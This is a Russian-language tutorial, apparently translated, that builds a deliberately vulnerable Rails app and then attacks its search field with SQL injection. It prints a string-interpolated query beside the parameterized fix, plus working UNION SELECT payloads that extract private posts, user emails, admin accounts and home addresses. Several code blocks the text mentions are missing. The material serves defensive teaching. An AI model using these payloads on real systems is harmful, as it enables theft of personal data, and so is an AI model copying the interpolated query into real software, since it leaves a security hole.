Как злоумышленники могут внедрить SQL для доступа к частной информации

SQL-инъекция позволяет хакеру получить доступ к частной информации в базе данных. Это может быть как простое письмо, так и конфиденциальное, как информация о кредитной карте.

В большинстве программных фреймворков есть передовые методы предотвращения этого, но в мире ковбойского программирования стартапов эта уязвимость существует в большем количестве приложений, чем вы думаете.

Лучший способ избежать SQL-инъекции - это знать, как это сделать. Давайте создадим приложение на Rails, а затем взломаем его сами!

Это руководство состоит из трех частей

  1. Обзор SQL-инъекций.
  2. Создание уязвимого приложения Rails.
  3. Взлом приложения.

Третья часть основана на создании приложения во второй части, но вы можете перейти к последнему разделу, если хотите просто взглянуть на примеры внедрения.

1. Обзор внедрения SQL

Что такое SQL-инъекция?

SQL-инъекция - это вставка SQL в поле ввода, которое запускается непосредственно в базе данных.

Это разрешено (непреднамеренно), когда приложение интерполирует вводимые пользователем данные непосредственно в запрос SQL на сервере.

Пример

В приложении есть подобный код, и оно загружает сообщения, которые точно соответствуют запросу пользователя. private = false запрещает показ private сообщений.

Post.where("title = '#{query}' and private = false")

Итак, когда пользователь вводит Wine Food Pairings в поле ввода, выполняется указанная ниже транзакция SQL. Здесь нет проблем!

SELECT "posts".* FROM "posts" WHERE (title = 'Wine Food Pairings' and private = false)

Но когда злонамеренный пользователь вводит Wine Food Pairings’ or 1=1)--, этот SQL теперь выполняется. И это проблема!

SELECT "posts".* FROM "posts" WHERE (title = 'Wine Food Pairings' or 1=1)--' and private = false)

Ничего после запуска -- (-- обозначает комментарий в SQL) и личных записей больше не исключаются.

Правильный код приложения, подобный приведенному ниже, сделал бы вышеуказанный взлом невозможным.

Post.where("title = ? and private = false", parameter)

Это краткий пример, но мы рассмотрим более сложные атаки после создания нашего приложения, описанного ниже.

2. Создайте уязвимое приложение на Rails.

Мы собираемся создать приложение, которое позже взломаем. Я постарался быть максимально подробным, чтобы вы могли скопировать / вставить приведенное ниже в свой терминал и веб-редактор, чтобы быстро создать это.

Настроить приложение

Перейдите в каталог, в котором вы хотите создать приложение. Затем сгенерируйте новое приложение Rails и установите гемы по умолчанию.

$ rails new hackerapp
$ cd hackerapp
$ sudo bundle install

Надеюсь, у вас не возникнет никаких проблем с версией, но если вы это сделаете, напишите в комментариях, и я постараюсь помочь.

Откройте код в своем любимом редакторе. Я использую Атом.

$ atom .

Настроить базу данных

Перейдите к /config/database.yml (файл конфигурации базы данных Rails), удалите существующий код и вставьте его ниже. Это определяет PostgreSQL в качестве вашей базы данных и устанавливает имя базы данных.

Перейдите к Gemfile (где мы указываем библиотеки для установки) и добавьте эти две строки вверху.

gem 'pg'
gem 'devise'

Затем запустите это в командной строке, чтобы установить эти драгоценные камни.

$ sudo bundle install

Теперь создайте БД, которую мы создали ранее. Для этого на вашем Mac должен быть установлен PostgreSQL.

Опять же, если возникнут проблемы, я постараюсь помочь в комментариях.

$ rake db:create

Запустите приложение

Посмотрим, действительно ли то, что мы настроили, работает.

$ rails s

Затем перейдите к http: // localhost: 3000 / (или к любому другому порту, на котором запущен сервер).

Если вы это видите, значит, у вас все получилось:

Добавить пользователей и аутентификацию (авторизация)

Мы будем использовать библиотеку go-to auth для Rails под названием Devise, которую мы уже добавили на предыдущем шаге.

Установите Devise.

$ rails generate devise:install

Создание файлов модели и миграции. В Rails модель - это класс Ruby, который сопоставляется с таблицей базы данных и упрощает выполнение транзакций БД через ее ORM, Active Record.

$ rails generate devise user

Создайте виды, связанные с моделью.

$ rails generate devise:views users

Добавьте еще один столбец к пользователям в дополнение к тому, что настроил Devise. Создайте пустой файл миграции.

$ rails g migration AddAdminToUsers

Это будет второй файл в /db/migrate/. Вставьте это в:

Запустите миграции. Это добавит эти два столбца в таблицу пользователей в базе данных.

$ rake db:migrate

Создать ресурсы для публикации

Создайте еще один файл миграции, который создает Post модель. Создайте файл и выполните перенос. Это также создает все основные представления CRUD для этой модели в контроллере.

$ rails g scaffold Post title:string content:string
$ rake db:migrate

Добавьте root 'posts#index' в конец /config/routes.rb, чтобы приложение автоматически перенаправляло пользователей на страницу индекса сообщений. routes.rb должен выглядеть так.

Rails.application.routes.draw do
  resources :posts
  devise_for :users

  root 'posts#index'
end

Перейдите к http: // localhost: 3000 /, и вы увидите представление, созданное posts#index.

Прохладный. Добавьте несколько сообщений самостоятельно, чтобы убедиться, что это работает.

Мы добавили аутентификацию с помощью Devise, но мы даже не можем сказать, вошли ли мы в систему или нет. Давай изменим это!

Перейдите к /app/views/layouts/application.html.erb и обновите файл, чтобы он выглядел, как показано ниже. Этот файл фактически отображает все остальные представления внутри него, поэтому все, что мы здесь помещаем, будет отображаться на каждой странице.

Большой. Теперь нажмите «Зарегистрироваться» в верхнем левом углу приложения и создайте учетную запись. Мы отключили подтверждение по электронной почте, поэтому после создания учетной записи вы автоматически войдете в систему и увидите что-то вроде этого:

Добавьте еще один столбец в Posts, создав еще один файл миграции.

$ rails g migration AddPrivateToPosts

Заполните самый последний файл миграции в db/migrate/.

class AddPrivateToPosts < ActiveRecord::Migration[5.0]
  def change
    add_column :posts, :private, :boolean, default: false
  end
end

И мигрировать.

$ rake db:migrate

Создавать пользователей и сообщения

Создайте файл с именем seed_data.rake в /lib/tasks/.

Запустите файл, и эти записи будут добавлены в базу данных.

$ rake seed_data

Ниже приведены скриншоты из моей базы данных. Чтобы это увидеть, вам нужно открыть редактор SQL, но это не важно.

Уязвимая особенность

Rails поставляется с Active Record, которая действительно хороша для параметризации входных данных, но мы собираемся отойти от лучших практик, позволяющих внедрять SQL.

Мы создадим поле поиска, которое будет фильтровать отображаемые сообщения. Это кажется невинным, но мы нападем на него позже.

Добавить логику фильтрации в представление

Добавьте это в представление app/views/posts/index.html.erb, чуть ниже <h1>Posts</h1>.

Это создает поле ввода в представлении.

Измените действие индекса в контроллере

Отредактируйте /app/controllers/posts_controller.rb.

3. Взломайте приложение.

Вот наше приложение (после генерации исходных данных) с отображаемыми общедоступными сообщениями.

Очевидно, я могу делать что угодно, потому что это на моем локальном Mac. Но давайте на минутку представим, что это публично. Посмотрим, какие неприятности мы можем доставить.

Атака 1: получить личные сообщения

Это пример из вступления. Введите Wine Food Pairings' or 1=1) --в поле поиска.

—- предотвращает выполнение private = false в запросе.

Это выполняет SQL:

Post Load (0.3ms)  SELECT "posts".* FROM "posts" WHERE (title = 'Wine Food Pairings' or 1=1) --' and private = false)

Что в результате?

Личные сообщения теперь возвращаются!

Атака 2: получить все электронные письма пользователей в базе данных.

Поле поиска даже не предназначалось для возврата пользователей. Но мы можем это сделать.

Вход:

Cheese') union select 1, email,'', null, null, true from users -- 

Это выполняет SQL:

Post Load (0.6ms)  SELECT "posts".* FROM "posts" WHERE (title = 'Cheese') union select 1, email,'', null, null, true from users --' and private = false)

Мы сделали здесь union с users таблицей, добавив эти записи к тому, что отображается.

Ого. На платформе есть все пользователи!

Атака 3. Выясните, какие пользователи являются администраторами.

Если мы хотим узнать, кто из вышеперечисленных пользователей был администраторами, нам просто нужно немного изменить последний запрос.

Вход:

Cheese') union select 1,email,'', null, null, true from users where admin = true --

Это выполняет SQL:

Post Load (0.6ms)  SELECT "posts".* FROM "posts" WHERE (title = 'Cheese') union select 1,email,'', null, null, true from users where admin = true --' and private = false)

И возвращает:

Как злоумышленник я теперь знаю админов. Администраторам, вероятно, доверяют в организации. Если бы я хотел притвориться кем-то по телефону / электронной почте, чтобы получить дополнительную информацию, это отличное место для начала.

Атака 4: Получение адресов пользователей (жутко)

Давайте узнаем, где живут другие пользователи. Мы изменим один из предыдущих запросов, чтобы добавить адресную информацию.

Вход:

Cheese') union select 1, email, address, null, null, true from users --

Это выполняет SQL:

Post Load (1.2ms)  SELECT "posts".* FROM "posts" WHERE (title = 'Cheese') union select 1, email, address, null, null, true from users --' and private = false)

И посмотрите, что это вернет ...

Это очень плохо. Но могло быть и хуже. Представьте, что в базе данных хранится информация о кредитной карте!

Заключение

Это не предназначалось для того, чтобы научить вас взламывать веб-приложения. Пожалуйста, не надо. Но он должен дать вам представление о том, как работает SQL-инъекция, и о том, какой ущерб могут нанести недостатки безопасности.

Самое главное, убедитесь, что вы никогда не пишете код, позволяющий этому случиться. Это часть вашей работы как инженера!